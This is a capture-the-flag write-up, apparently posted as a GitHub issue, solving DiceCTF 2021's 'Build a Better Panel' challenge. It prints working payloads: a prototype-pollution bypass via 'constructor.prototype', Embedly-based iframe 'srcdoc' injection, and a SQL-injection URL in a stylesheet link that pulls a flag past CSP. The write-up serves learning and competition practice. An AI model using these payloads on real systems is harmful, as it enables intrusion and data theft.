aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

DiceCTF 2021 - Build a Better Panel #18

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

It's harder version of Build a Panel, much harder.

It's similar to easier version but with a huge difference:

the admin will only visit sites that match the following regex ^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$

So we can't use the trick last time because it's not valid url. Our goal changed, we need to perform XSS.

I check every html and js file but it seems quite normal except one file, custom.js:

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const safeDeepMerge = (target, source) => {
    for (const key in source) {
        if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                safeDeepMerge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

const displayWidgets = async () => {
    const userWidgets = await (await fetch('/panel/widgets', {method: 'post', credentials: 'same-origin'})).json();
    let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};

    safeDeepMerge(toDisplayWidgets, userWidgets);

    const timeData = await (await fetch('/status/time')).json();
    const weatherData = await (await fetch('/status/weather')).json();
    const welcomeData = await (await fetch('/status/welcome')).json();

    const widgetData = {'time': timeData['data'], 'weather': weatherData['data'], 'welcome': welcomeData['data']};

    const widgetPanel = document.getElementById('widget-panel');
    for(let name of Object.keys(toDisplayWidgets)){
        const widgetType = toDisplayWidgets[name]['type'];

        const panel = document.createElement('div');
        panel.className = 'panel panel-default';

        const panelTitle = document.createElement('h5');
        panelTitle.className = 'panel-heading';
        panelTitle.textContent = name;

        const panelData = document.createElement('p');
        panelData.className = 'panel-body';
        if(widgetData[widgetType]){
            panelData.textContent = widgetData[widgetType];
        }else{
            panelData.textContent = 'The widget type does not exist, make sure you spelled it right.';
        }

        panel.appendChild(panelTitle);
        panel.appendChild(panelData);

        widgetPanel.appendChild(panel);
    }
};

window.onload = (_event) => {
    displayWidgets();
};

It's the core of the panel page. It gets widgets from api and put it to the page via textContent, so sad, seems no room for XSS.

But this part gets my attention:

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const safeDeepMerge = (target, source) => {
    for (const key in source) {
        if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                safeDeepMerge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

It's like a hint for me,

Is it something to do with prototype pollution?

So I googled: prototype pollution xss and find this as my first search result: Client-Side Prototype Pollution

I quickly checked the list and I saw something interesting: Embedly Cards

<script>
  Object.prototype.onload = 'alert(1)'
</script>

<blockquote class="reddit-card" data-card-created="1603396221">
  <a href="https://www.reddit.com/r/Slackers/comments/c5bfmb/xss_challenge/">XSS Challenge</a>
</blockquote>

<script async src="https://embed.redditmedia.com/widgets/platform.js" charset="UTF-8"></script>

No wonder they put a embedded reddit on the page! Everything has their meaning, even the smallest thing is a clue.

So if we can bypass prototype pollution check, we can perform XSS.

Bypass prototype pollution check

How to bypass this?

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const safeDeepMerge = (target, source) => {
    for (const key in source) {
        if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                safeDeepMerge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

I played around with this function for an hour but find nothing.

When I was googling about prototype pollution articles, suddenly I recall that {}.__proto__ = Object.prototype

So we can pollute the prototype without __proto__!

({}).constructor equals to Object, so ({}).constructor.prototype is Object.prototype

POC:

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
  for (const key in source) {
    if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
      if(key !== '__proto__'){
        safeDeepMerge(target[key], source[key]);
      }
    } else {
      target[key] = source[key];
    }
  }
}

const userWidgets = JSON.parse(`{
  "constructor": {
    "prototype": {
      "onload": "console.log(1)"
    }
  }
}`)

let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
console.log(Object.prototype.onload) // console.log(1)

Now we can perform XSS via embedly prototype pollution. In order to get correct data structure, we need to check how to create and get a widget:

// create widget
app.post('/panel/add', (req, res) => {
    const cookies = req.cookies;
    const body = req.body;

    if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
        db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
            if(err){
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        console.log(cookies);
        console.log(body);
        res.send('something went wrong');
    }
});

app.post('/panel/widgets', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        const panelId = cookies['panelId'];

        query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
        db.all(query, [panelId], (err, rows) => {
            if(!err){
                let panelWidgets = {};
                for(let row of rows){
                    try{
                        panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
                    }catch{

                    }
                }
                res.json(panelWidgets);
            }else{
                res.send('something went wrong');
            }
        });
    }
});

It uses JSON.parse for widget data so when creating a new widget, the widget data should be JSON.stringify first.

We can utilize JS itself to help us generate the request body:

console.log(
  JSON.stringify({
    widgetName: 'constructor',
    widgetData: JSON.stringify({
      prototype: {
        onload: `alert(1)`
      }
     }) 
  })
)

result:

{
  "widgetName":"constructor",
  "widgetData":
    "{\"prototype\":{\"onload\":\"alert(1)\"}}"
}

So we can create a widget and perform XSS, cool! Let's try to create it and visit the page:

Oh no...I totally forgot CSP.

Round2: Bypass CSP

At first I was trying to bypass CSP and run inline script, but it seems it's a dead end.

Then I thought: "Maybe there is another way to run script without onload?", so I googled embedly prototype pollution and found this tweet:

https://twitter.com/k33r0k/status/1319411417745948673

The comment below is really helpful to me! Before that I only know I can set onload and perform XSS on embedly but I don't know why.

Now I know, it's via iframe attributes.

And we can use srcdoc as well, it's a good news!

So I tried couple of things like:

srcdoc="<img src=x onerror=alert(1)>"  
srcdoc="<script src=x></script>"

But none of them work because of CSP(sorry I am not familiar with CSP, I don't know it will be block as well)

I check the CSP carefully again, it's no way to run script:

default-src 'none';
script-src 'self' http://cdn.embedly.com/; 
style-src 'self' http://cdn.embedly.com/; 
connect-src 'self' https://www.reddit.com/comments/;

At that moment I was about to gave up, but I decided to take a shower first.

Taking a shower is a magical thing, it can remind you those small but important pieces.

Oh wait, what if I can get the flag without running JS?

I can reuse the payload for build a panel!

Because the source code is almost the same, the attack should still works!

The CSP allow self style so we can do this:

<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>

The browser will send request to the target url and it will create a new widget with flag as title, just like when I have done in build a panel.

Go get flag!

final payload:

console.log(
  JSON.stringify({
    widgetName: 'constructor',
    widgetData: JSON.stringify({
      prototype: {
        srcdoc: `<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>`
      }
     }) 
  }

{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<link rel=stylesheet href=\\\"https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1\\\"></link>\"}}"}

We can then submit the designated panel to admin via debugid: https://build-a-better-panel.dicec.tf/create?debugid=311257212eefwef

Check the panel in the payload above, you can see the flag:

Awesome challenge! I learned a lot from it.